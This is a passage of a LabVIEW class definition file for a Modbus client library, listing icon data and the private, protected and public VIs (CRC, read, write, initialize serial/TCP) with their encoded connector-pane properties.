0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 100 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 86 105 32 73 99 111 110 100 1 0 2 0 0 0 6 77 79 68 66 85 83 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 11 83 109 97 108 108 32 70 111 110 116 115 0 1 8 1 0\n\n</Property>\n\t<Item Name=\"PL Modbus Client.ctl\" Type=\"Class Private Data\" URL=\"PL Modbus Client.ctl\">\n\t\t<Property Name=\"NI.LibItem.Scope\" Type=\"Int\">2</Property>\n\t</Item>\n\t<Item Name=\"Private\" Type=\"Folder\">\n\t\t<Property Name=\"NI.LibItem.Scope\" Type=\"Int\">2</Property>\n\t\t<Item Name=\"CRC-16.vi\" Type=\"VI\" URL=\"../Private/CRC-16.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!#:!!!!\"1!%!!!!$5!'!!:$5E-N-49!!\"R!-0````]3=X2S;7ZH)(&gt;J&gt;'AA1V*$,4%W!!!11$$`````\"H.U=GFO:Q!!6!$Q!!Q!!!!!!!%!!A!!!!!!!!!!!!!!!!!!!!-$!!\"Y!!!!!!!!!!!!!!E!!!!.#Q!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!2)!!!!!!1!%!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">2</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342710288</Property>\n\t\t</Item>\n\t\t<Item Name=\"LRC-8.vi\" Type=\"VI\" URL=\"../Private/LRC-8.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!#6!!!!\"1!%!!!!#U!&amp;!!6-5E-N/!!;1$$`````%8.U=GFO:S\"X;82I)%R31SUY!\"\"!-0````]'=X2S;7ZH!!\"5!0!!$!!!!!!!!1!#!!!!!!!!!!!!!!!!!!!!!Q-!!(A!!!!!!!!!!!!!#1!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"%A!!!!!\"!!1!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">2</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1107821072</Property>\n\t\t</Item>\n\t\t<Item Name=\"Modbus ASCII String to Byte Array.vi\" Type=\"VI\" URL=\"../Private/Modbus ASCII String to Byte Array.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!#.!!!!\"1!%!!!!\"1!&amp;!!!91%!!!@````]!!1JC?82F)'&amp;S=G&amp;Z!!!11$$`````\"H.U=GFO:Q!!6!$Q!!Q!!!!!!!!!!A!!!!!!!!!!!!!!!!!!!!-$!!\"Y!!!!!!!!!!!!!!!!!!!*!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"!!!!!!!1!%!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">2</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342710288</Property>\n\t\t</Item>\n\t\t<Item Name=\"Reinitialize.vi\" Type=\"VI\" URL=\"../Private/Reinitialize.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!%I!!!!#1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!,E\"Q!\"Y!!\"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!'%!]!!-!!-!\"!!%!!5!\"!!%!!1!\"!!'!!1!\"!!(!Q!!?!!!$1A!!!!!!!!!!!!!$1M!!!!!!!!!!!!!!!!!!!!!!!!+!!!!!!!!!!!!!!!+!!!.!!!!$!!!!!!!!!!!!!!\"!!A!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">2</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1350574608</Property>\n\t\t</Item>\n\t\t<Item Name=\"Split Address Range.vi\" Type=\"VI\" URL=\"../Private/Split Address Range.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!$2!!!!\"Q!%!!!!$5!'!!&gt;B:'2S:8.T!\"6!\"A!0&lt;H6N9G6S)'^G)'FU:7VT!!I!5!!#!!%!!A!M1%!!!@````]!!RZB:'2S:8.T:8-A97ZE)'ZV&lt;7*F=H-A&lt;W9A;82F&lt;8-!!\"F!\"A!4&lt;7&amp;Y)'ZV&lt;7*F=C\"P:C\"J&gt;'6N=Q\"5!0!!$!!!!!!!!!!%!!!!!!!!!!!!!!!&amp;!!)!!1-!!(A!!!!!!!!!!!!!!!!!!!E!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"!!!!!3!!!!%!!!!!!\"!!9!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">2</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342714386</Property>\n\t\t</Item>\n\t\t<Item Name=\"Write.vi\" Type=\"VI\" URL=\"../Private/Write.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!%_!!!!#A!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!&amp;E!Q`````QRX=GFU:3\"C&gt;7:G:8)!!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"B!0!!$!!$!!1!\"!!&amp;!!1!\"!!%!!1!\"A!%!!=!#!-!!(A!!!U)!!!!!!!!!!!!!!U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!!!!!!!1!!!!%A!!$1!!!!Q!!!!!!!!!!!!!!1!*!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">2</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342714386</Property>\n\t\t</Item>\n\t</Item>\n\t<Item Name=\"Protected\" Type=\"Folder\">\n\t\t<Property Name=\"NI.LibItem.Scope\" Type=\"Int\">3</Property>\n\t\t<Item Name=\"Read RTU Data.vi\" Type=\"VI\" URL=\"../Protected/Read RTU Data.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!%]!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!!Z!-0````]%:'&amp;U91!!-%\"Q!\"Y!!\"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!+45^%1F64)'^V&gt;!!!)%\"1!!-!!!!\"!!)4:8*S&lt;X)A;7YA+'ZP)'6S=G^S+1!41!5!$7:V&lt;G.U;7^O)'.P:'5!,E\"Q!\"Y!!\"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!&amp;1!]!!-!!-!\"!!&amp;!!9!\"!!%!!1!\"!!(!!1!#!!*!Q!!?!!!$1A!!!!!!!!*!!!!D1M!!!!!!!!!!!!!!!!!!!!!!!!+!!!!!!!!!\"!!!!#3!!!!!!%!#A!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">false</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">3</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342710288</Property>\n\t\t</Item>\n\t\t<Item Name=\"Read.vi\" Type=\"VI\" URL=\"../Protected/Read.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;.!!!!#Q!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!\"2!-0````],=G6B:#\"C&gt;7:G:8)!-%\"Q!\"Y!!\"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!+45^%1F64)'^V&gt;!!!)%\"1!!-!!!!\"!!)4:8*S&lt;X)A;7YA+'ZP)'6S=G^S+1!21!=!#G*Z&gt;'5A9W^V&lt;H1!!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"B!0!!$!!$!!1!\"1!'!!1!\"!!%!!1!\"Q!%!!A!#1-!!(A!!!U)!!!!!!!!#1!!!!E!!!!!!!!!!!!!!!!!!!!!!!!!#A!!!!!!!!!1!!!!%!!!$1!!!!Q!!!!!!!!!!!!!!1!+!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">3</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342714386</Property>\n\t\t</Item>\n\t</Item>\n\t<Item Name=\"Public\" Type=\"Folder\">\n\t\t<Item Name=\"Close.vi\" Type=\"VI\" URL=\"../Public/Close.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!$L!!!!#!!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!,E\"Q!\"Y!!\"I95%QA47^E9H6T)%.M;76O&gt;#ZM&gt;G.M98.T!!!*45^%1F64)'FO!&amp;1!]!!-!!-!\"!!%!!1!\"!!%!!1!\"!!&amp;!!1!\"!!'!Q!!?!!!$1A!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+!!!!!!!!!!!!!!#1!!!!!!%!\"Q!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">false</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MustCallParent\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1107821072</Property>\n\t\t</Item>\n\t\t<Item Name=\"Command.vi\" Type=\"VI\" URL=\"../Public/Command.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!&amp;Q!!!!$A!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!71&amp;!!!Q!!!!%!!AFF=H*P=C\"P&gt;81!\"!!!!!5!\"1!!&amp;E\"!!!(`````!!5):'&amp;U93\"P&gt;81!!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!#\"!5!!$!!!!!1!#%W6S=G^S)'FO)#BO&lt;S\"F=H*P=CE!%U!&amp;!!V'&gt;7ZD&gt;'FP&lt;C\"$&lt;W2F!\"2!1!!\"`````Q!*\"W2B&gt;'%A;7Y!%U!&amp;!!VG&gt;7ZD&gt;'FP&lt;C\"D&lt;W2F!#Z!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#5V02%*65S\"J&lt;A\"5!0!!$!!$!!1!\"A!(!!1!\"!!%!!1!#!!+!!M!$!-!!(A!!!E!!!!!!!!!#1!!!)U,!!!!!!!!!!!!!!!!!!!!!!!!#A!!!1I!!!!3!!!!EA!!!!!\"!!U!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">1090519168</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">false</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1082143248</Property>\n\t\t</Item>\n\t\t<Item Name=\"Initialize Modbus Client Serial.vi\" Type=\"VI\" URL=\"../Public/Initialize Modbus Client Serial.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" Type=\"Bin\">&amp;1#!!!!!!!)!\"1!&amp;!!!-!%!!!@````]!!!!\"!!%!!!*-!!!!%Q!O1(!!(A!!'BB14#\".&lt;W2C&gt;8-A1WRJ:7ZU,GRW9WRB=X-!!!F.4U2#66-A;7Y!*5!7!!-$5F26\"5&amp;41UF*!V2$5!!/=(*P&gt;'^D&lt;WQA+&amp;*563E!!\"F!\"1!4=X2B&gt;'FP&lt;C\"B:'2S:8.T)#AR+1!81!=!%82J&lt;76P&gt;81M)'VT)#AT-$!J!$\"!=!!?!!!;'&amp;\"-)%VP:'*V=S\"$&lt;'FF&lt;H1O&lt;(:D&lt;'&amp;T=Q!!#EV02%*65S\"P&gt;81!!\"Y!.`````]!\"\"5!A!!!!!!\"!!1!!!!\"!!!!!!!!!#J!=!!/\"5FO=X2S!!%!\"25!A!!!!!!\"!!1!!!!\"!!!!!!!!\"(\"P=H1!!!1!!!!81!=!%'*B&gt;71A=G&amp;U:3!I/49Q-#E!!\".!\"A!.:'&amp;U93\"C;82T)#AY+1!-1#%'=X2B&gt;(6T!!!,1!-!\"'.P:'5!!\"\"!-0````]'=W^V=G.F!!!A1&amp;!!!Q!+!!M!$\".F=H*P=C\"J&lt;C!I&lt;G]A:8*S&lt;X)J!\".!\"A!.='&amp;S;82Z)#BF&gt;G6O+1!61!9!$X.U&lt;X!A9GFU=S!I-3YQ+1!:1!9!%W:M&lt;X=A9W^O&gt;(*P&lt;#!I&lt;G^O:3E!&amp;E\"1!!-!#A!,!!Q*:8*S&lt;X)A&lt;X6U!(U!]!!1!!!!!1!#!!-!\"!!'!!=!#!!(!!E!\"Q!.!!Y!$Q!1!\"%$!!%)!!!+!!!!#!!!!!A!!!!)!!!!$1!!!\"!!!!!!!!!!#!!!!!!!!!!)!!!!!!!!!!I!!!!)!!!!#!!!!!A!!!!.#Q!2!!!!!!%!!!!!!!!!!!!!!!!!!1!3!!!!!!</Property>\n\t\t\t<Property Name=\"NI.ClassItem.ExecutionSystem\" Type=\"Int\">-1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Flags\" Type=\"Int\">16777344</Property>\n\t\t\t<Property Name=\"NI.ClassItem.IsStaticMethod\" Type=\"Bool\">true</Property>\n\t\t\t<Property Name=\"NI.ClassItem.MethodScope\" Type=\"UInt\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.Priority\" Type=\"Int\">1</Property>\n\t\t\t<Property Name=\"NI.ClassItem.State\" Type=\"Int\">1342710288</Property>\n\t\t</Item>\n\t\t<Item Name=\"Initialize Modbus Client TCP.vi\" Type=\"VI\" URL=\"../Public/Initialize Modbus Client TCP.vi\">\n\t\t\t<Property Name=\"NI.ClassItem.ConnectorPane\" 